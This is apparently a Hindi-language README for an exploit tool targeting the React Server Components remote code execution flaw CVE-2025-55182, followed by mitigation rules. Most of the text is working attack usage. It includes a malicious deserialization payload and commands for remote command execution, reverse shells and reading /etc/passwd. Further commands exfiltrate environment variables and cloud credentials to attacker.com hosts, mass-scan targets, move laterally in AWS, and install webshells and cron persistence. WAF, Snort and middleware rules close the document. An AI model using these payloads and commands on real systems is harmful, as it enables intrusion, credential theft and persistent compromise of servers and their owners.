
React2Shell शोषण उपकरण (CVE-2025-55182)
CVE-2025-55182 (React2Shell) के लिए शोषण ढांचा - React सर्वर घटकों में महत्वपूर्ण RCE भेद्यता।
# क्लोन रिपॉजिटरी
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak
# निर्भरताएँ स्थापित करें
pip install -r requirements.txt
# निष्पादन योग्य बनाएं
chmod +x fiberbreak.py
# असुरक्षित परीक्षण वातावरण बनाएं
docker-compose up -d
# स्टार्टअप की प्रतीक्षा करें
sleep 20
# पहचान जांचें
./fiberbreak.py -u http://localhost:3000 detect
# RCE निष्पादित करें
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"
# सत्यापित करें
docker exec react2shell-lab ls -la /tmp/
CVE-2025-55182 React सर्वर घटकों (RSC) में एक महत्वपूर्ण रिमोट कोड निष्पादन भेद्यता है जो अप्रमाणित हमलावरों को सर्वर पर मनमाना कोड निष्पादित करने की अनुमति देती है।
मूल कारण: React Flight प्रोटोकॉल अविश्वसनीय क्लाइंट इनपुट को उचित सत्यापन के बिना deserialize करता है, जिससे हमलावर JavaScript की प्रोटोटाइप श्रृंखला और Function कंस्ट्रक्टर का दुरुपयोग करने वाले दुर्भावनापूर्ण पेलोड तैयार कर सकते हैं।
हमला वेक्टर: हमलावर किसी भी RSC एंडपॉइंट पर Next-Action हेडर के साथ एक निर्मित multipart/form-data POST अनुरोध भेजते हैं। दुर्भावनापूर्ण पेलोड निम्नलिखित का लाभ उठाता है:
__proto__ एक्सेस के माध्यम से प्रोटोटाइप प्रदूषणconstructor:constructor के माध्यम से Function कंस्ट्रक्टर एक्सपोजर1. हमलावर निर्मित POST अनुरोध भेजता है
└─ multipart/form-data दुर्भावनापूर्ण JSON के साथ
└─ Next-Action हेडर (कोई भी मान)
2. सर्वर पेलोड को deserialize करता है
└─ React RSC चंक प्रारूप को प्रोसेस करता है
└─ Promise जैसी वस्तु को हल करता है
3. गैजेट श्रृंखला ट्रिगर होती है
└─ __proto__ एक्सेस hasOwnProperty जांच को बायपास करता है
└─ constructor:constructor Function() को एक्सपोज करता है
└─ _prefix मनमाना कोड निष्पादित करता है
4. RCE प्राप्त हुआ
└─ सर्वर हमलावर का JavaScript निष्पादित करता है
└─ पूर्ण सिस्टम समझौता
{
"then": "$1:__proto__:then", // प्रोटोटाइप प्रदूषण
"status": "resolved_model", // नकली React आंतरिक स्थिति
"reason": -1, // रिजॉल्यूशन ट्रिगर
"value": '{"then":"$B1337"}', // ब्लॉब संदर्भ
"_response": {
"_prefix": "MALICIOUS_CODE_HERE;", // निष्पादित कोड
"_formData": {
"get": "$1:constructor:constructor" // Function() एक्सेस
}
}
}
// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
const value = JSON.parse(chunk.value);
// यहाँ मान्यता की कमी दुर्भावनापूर्ण चंक की अनुमति देती है
if (value && typeof value.then === 'function') {
// हमलावर 'then' विधि को नियंत्रित करता है
value.then(/* ... */);
}
}
# एकल लक्ष्य पहचान
./fiberbreak.py -u https://target.com detect
# फ़ाइल से कई लक्ष्य
./fiberbreak.py -l targets.txt detect --threads 20
# JSON में परिणाम सहेजें
./fiberbreak.py -l targets.txt detect -o results.json
# SSL सत्यापन अक्षम करें
./fiberbreak.py -u https://target.com detect --no-verify-ssl
# सरल अंधा कमांड निष्पादन
./fiberbreak.py -u https://target.com exploit -c "whoami"
# डिस्क पर फ़ाइल लिखें
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pwned.txt:HACKED" -t write_file
# फ़ाइल सामग्री पढ़ें
./fiberbreak.py -u https://target.com exploit \
-c "/etc/passwd:https://attacker.com" -t file_read
# रिवर्स शेल
./fiberbreak.py -u https://target.com exploit \
-c "10.10.10.10:4444" -t reverse_shell
# DNS एक्सफिल्ट्रेशन (गुप्त, कोई HTTP ट्रैफिक नहीं)
./fiberbreak.py -u https://target.com exploit \
-c "whoami:attacker.oastify.com" -t dns_exfil
# आउटपुट के साथ HTTP एक्सफिल्ट्रेशन
./fiberbreak.py -u https://target.com exploit \
-c "id:https://attacker.com/exfil" -t http_exfil
# एनवायरनमेंट वेरिएबल डंप
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/env" -t env_dump
# सिस्टम रिकॉनिसेंस
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/recon" -t recon
# गुप्त DNS बीकन (कोई कमांड आउटपुट नहीं)
./fiberbreak.py -u https://target.com exploit \
-c "attacker.oastify.com" -t stealth_beacon
# स्वतः क्लाउड प्रदाता का पता लगाएं और क्रेडेंशियल निकालें
# समर्थन: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/cloud" -t cloud_metadata
# 1. DNS बीकन के साथ गुप्त पहचान
./fiberbreak.py -u https://target.com exploit \
-c "recon.yourburp.oastify.com" -t stealth_beacon
# 2. यदि असुरक्षित हो, तो संवेदनशील डेटा निकालें
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/exfil" -t env_dump
# 3. क्लाउड वातावरण की जाँच करें
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/cloud" -t cloud_metadata
# 4. नुकसान पहुँचाए बिना निष्कर्ष दस्तावेजित करें
# चरण 1: पहचान
./fiberbreak.py -u https://target.com detect -o detection.json
# चरण 2: सत्यापन
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file
# चरण 3: प्रभाव मूल्यांकन
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/impact" -t recon
# चरण 4: क्रेडेंशियल निष्कर्षण (यदि क्लाउड)
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/creds" -t cloud_metadata
# चरण 5: इंटरैक्टिव एक्सेस (यदि अधिकृत)
# टर्मिनल 1: श्रोता प्रारंभ करें
nc -lvnp 4444
# टर्मिनल 2: शेल प्राप्त करें
./fiberbreak.py -u https://target.com exploit \
-c "YOUR_IP:4444" -t reverse_shell
# लक्ष्य सूची बनाएं
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF
# सभी लक्ष्यों को समानांतर में स्कैन करें
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json
# असुरक्षित लक्ष्यों को फ़िल्टर करें
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'
# रिपोर्ट जनरेट करें
cat scan_results.json | jq '{
total: length,
vulnerable: [.[] | select(.vulnerable==true)] | length,
targets: [.[] | select(.vulnerable==true) | .url]
}'
# AWS EC2 इंस्टेंस
./fiberbreak.py -u https://aws-app.com exploit \
-c "https://attacker.com/aws" -t cloud_metadata
# कॉलबैक प्राप्त होता है:
# - इंस्टेंस ID, क्षेत्र, उपलब्धता क्षेत्र
# - IAM भूमिका नाम
# - अस्थायी AWS क्रेडेंशियल (AccessKeyId, SecretAccessKey, Token)
# - उपयोगकर्ता डेटा
# - नेटवर्क कॉन्फ़िगरेशन
# GCP कंप्यूट इंजन
./fiberbreak.py -u https://gcp-app.com exploit \
-c "https://attacker.com/gcp" -t cloud_metadata
# कॉलबैक प्राप्त होता है:
# - प्रोजेक्ट ID, इंस्टेंस नाम, क्षेत्र
# - सेवा खाता ईमेल
# - OAuth2 एक्सेस टोकन
# - उपलब्ध स्कोप
# Azure वर्चुअल मशीन
./fiberbreak.py -u https://azure-app.com exploit \
-c "https://attacker.com/azure" -t cloud_metadata
# कॉलबैक प्राप्त होता है:
# - इंस्टेंस मेटाडेटा
# - प्रबंधित पहचान OAuth2 टोकन
# - सब्सक्रिप्शन जानकारी
# अद्वितीय मार्कर फ़ाइल बनाएं
MARKER="pwned_$(date +%s)"
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/${MARKER}:proof" -t write_file
# टाइमिंग हमले या out-of-band के माध्यम से सत्यापित करें
./fiberbreak.py -u https://target.com exploit \
-c "curl https://attacker.com/${MARKER}" -t simple
# चरण 1: फ़ाइलों की गणना करें
./fiberbreak.py -u https://target.com exploit \
-c "find /app -type f -name '*.env':https://attacker.com/files" -t http_exfil
# चरण 2: कॉन्फ़िगरेशन निकालें
./fiberbreak.py -u https://target.com exploit \
-c "/app/.env:https://attacker.com/config" -t file_read
# चरण 3: डेटाबेस क्रेडेंशियल निकालें
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/env" -t env_dump
# AWS क्रेडेंशियल निकालें
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/aws" -t cloud_metadata
# पार्श्व गति के लिए निकाले गए क्रेडेंशियल का उपयोग करें
export AWS_ACCESS_KEY_ID=""
export AWS_SECRET_ACCESS_KEY=""
export AWS_SESSION_TOKEN=""
# संसाधनों की गणना करें
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances
# React अपडेट करें
npm install [email protected] [email protected]
# Next.js अपडेट करें
npm install [email protected] # या [email protected]+
# संस्करण सत्यापित करें
npm list react react-dom next
nginx
# Next-Action हेडर वाले अनुरोधों को ब्लॉक करें
if ($http_next_action) {
return 403;
}
# RSC एंडपॉइंट को रेट लिमिट करें
limit_req_zone $binary_remote_addr zone=rsc:10m rate=10r/s;
location / {
limit_req zone=rsc burst=20;
}
Apache (ModSecurity)
# Next-Action हेडर का पता लगाएं
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
"id:2025551820,\
phase:2,\
deny,\
status:403,\
log,\
msg:'CVE-2025-55182 शोषण प्रयास का पता चला'"
# दुर्भावनापूर्ण RSC पेलोड का पता लगाएं
SecRule REQUEST_BODY "@rx (__proto__|constructor|prototype)" \
"id:2025551821,\
phase:2,\
deny,\
status:403,\
log,\
msg:'दुर्भावनापूर्ण RSC पेलोड का पता चला'"
Cloudflare WAF
// कस्टम नियम
(http.request.headers["next-action"] ne "") or
(http.request.body.raw contains "__proto__") or
(http.request.body.raw contains "constructor:constructor")
# Snort/Suricata नियम
alert tcp any any -> any any (
msg:"CVE-2025-55182 React2Shell शोषण प्रयास";
flow:to_server,established;
content:"Next-Action"; http_header;
content:"__proto__"; http_client_body;
sid:2025551820;
rev:1;
)
// Next.js मिडलवेयर
export function middleware(request) {
// अविश्वसनीय स्रोतों से Next-Action हेडर वाले अनुरोधों को ब्लॉक करें
if (request.headers.get('next-action')) {
// मूल सत्यापित करें
const origin = request.headers.get('origin');
const allowedOrigins = ['https://yourdomain.com'];
if (!allowedOrigins.includes(origin)) {
return new Response('Forbidden', { status: 403 });
}
}
return NextResponse.next();
}
export const config = {
matcher: '/:path*',
};
# लॉग में शोषण प्रयासों की निगरानी करें
grep -r "Next-Action" /var/log/nginx/access.log
grep -r "__proto__" /var/log/nginx/access.log
# संदिग्ध पैटर्न पर अलर्ट करें
tail -f /var/log/nginx/access.log | grep -E "(Next-Action|__proto__|constructor:constructor)" | \
while read line; do
echo "[अलर्ट] संभावित CVE-2025-55182 शोषण: $line"
# SIEM/अलर्टिंग सिस्टम पर भेजें
done
केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण के लिए
अनधिकृत उपयोग निषिद्ध है। विवरण के लिए LICENSE देखें।
| प्रकार | प्रारूप | विवरण | आउटपुट |
|---|
simple | command | कोई भी शेल कमांड निष्पादित करें | ब्लाइंड |
output | command + --callback | HTTP कॉलबैक के साथ निष्पादित करें | हाँ |
reverse_shell | lhost:lport | Bash रिवर्स शेल | इंटरैक्टिव |
dns_exfil | cmd:domain या domain | DNS एक्सफिल्ट्रेशन | DNS लॉग |
http_exfil | cmd:callback_url | HTTP एक्सफिल्ट्रेशन | HTTP POST |
file_read | filepath:callback | फ़ाइल पढ़ें और एक्सफिल्ट्रेट करें | HTTP POST |
write_file | filepath:content | डिस्क पर फ़ाइल लिखें | ब्लाइंड |
env_dump | callback_url | एनवायरनमेंट वेरिएबल डंप करें | HTTP POST |
cloud_metadata | callback_url | क्लाउड क्रेडेंशियल निकालें | HTTP POST |
recon | callback_url | सिस्टम रिकॉनिसेंस | HTTP POST |
stealth_beacon | domain | DNS बीकन | DNS लॉग |
webshell | filepath | Node.js वेबशेल तैनात करें | पोर्ट 8080 |
persist | callback_url | क्रॉन स्थायित्व स्थापित करें | क्रॉन जॉब |